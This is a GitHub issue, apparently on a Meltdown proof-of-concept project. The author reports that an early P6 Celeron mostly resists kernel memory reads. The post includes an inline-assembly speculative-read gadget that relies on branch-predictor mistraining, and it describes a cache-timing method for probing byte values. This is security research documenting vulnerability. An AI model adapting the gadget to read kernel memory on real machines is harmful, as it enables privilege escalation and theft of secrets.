Skip to content

The original Celeron (P2-based) seems to be mostly not vulnerable? #79

Description

@iamgreaser
6.12.11-tinycore #1 SMP Mon May 12 11:44:01 UTC 2025 i686 GNU/Linux
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 5
model name	: Pentium II (Deschutes)
stepping	: 0
microcode	: 0x32
cpu MHz		: 267.279
cache size	: 32 KB
physical id	: 0

The D-cache line size is 32 bytes, the D-cache size is 16 KB, and I-cache is just straight up large enough for our purposes.
The penalty for a cache miss is typically 16 cycles.

Due to the 16 KB D-cache and the lack of SSE2 instructions I had to do my own implementation.
I also don't have the kernel symbols on hand. However, reading the IDT or GDT should be fine, right?

This one is... kinda somewhat a tiny bit vulnerable as it can determine which pages are kernel-mode-only, but only because it seems to use a stale value somewhere when doing the array lookup and if you're doing your timing checks by e.g. incrementing stuff in the array you're trying to force a speculative load against, then you get a different value each time.
The speculation still actually happens, but the kernel memory read seems to outright fail.

As for that implementation... I couldn't be bothered setting up a SIGSEGV handler so I abused the branch predictor instead. Here's my gadget so far which works well enough, but needs to be in a non-inlined function that gets called a total of 3-4 times between cache flushes (4 is safest):

      asm volatile (
         "movl $7, %%ecx\n"
         "lea -1(%[backing_addr]), %%ebx\n"
         "movb $0, (%%ebx)\n"
         "jmp 1f\n"
         ".align 16\n"
         ".rept 7\n" "nop\n" ".endr\n" // This is to align the speculated code better, but it might be overkill.
         "1:\n"
            // Break dependencies
            "movl $0, %%edx\n"
            "xorl %%edx, %%edx\n"
            "cmpl $1, %%ecx\n"
            "cmovzl %[target_addr], %%ebx\n"
            ".rept 16\n" "aad\n" ".endr\n" // Jam up the dependencies here
            "decl %%ecx\n" //"sub $1, %%ecx\n"
            "je 2f\n"
            "movzbl (%%ebx), %%edx\n"
            "shll $5, %%edx\n"
            "movl (%[backing_addr], %%edx), %%edx\n"
            "jmp 1b\n"
            ".rept 32\n"
            "nop\n"
            ".endr\n"
         "2:\n"
         :
         : [target_addr]"r"(p)
         , [backing_addr]"r"(&membase[MEMBASE_WARMUPS*CLSIZE])
         : "eax", "ebx", "ecx", "edx"
      );

I've also tried doing a branchless version of the EBX register lookup involving an arithmetic right shift of the value of ECX with an AND of (target XOR backing) and then XORing that over EBX, but I still get the same behaviour as usual.

I was determining the 256 values by checking values 0x01 through 0xFF with a "default index" of 0x00, and then if that fails after 5 attempts, try values 0x00 through 0xFE with a default index of 0xFF.

A weird thing is I then tried to determine the 256 values by subtracting 1 from EBX and then adding 1 when on the final iteration, so that it wouldn't touch the cache line until it actually speculated. User-readable memory still returns normal data, unmapped memory still returns 0x00, but kernel-mode-only memory now returns nothing except an occasional misread of 0x00 or 0x04.

I might try banging my head against this a little more but it actually does seem that the earlier P6 CPUs might be "safe" in the sense that the kernel memory doesn't make it in. The Meltdown speculation mechanism still operates just fine, but... yeah, it's nowhere near as spicy as usual.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions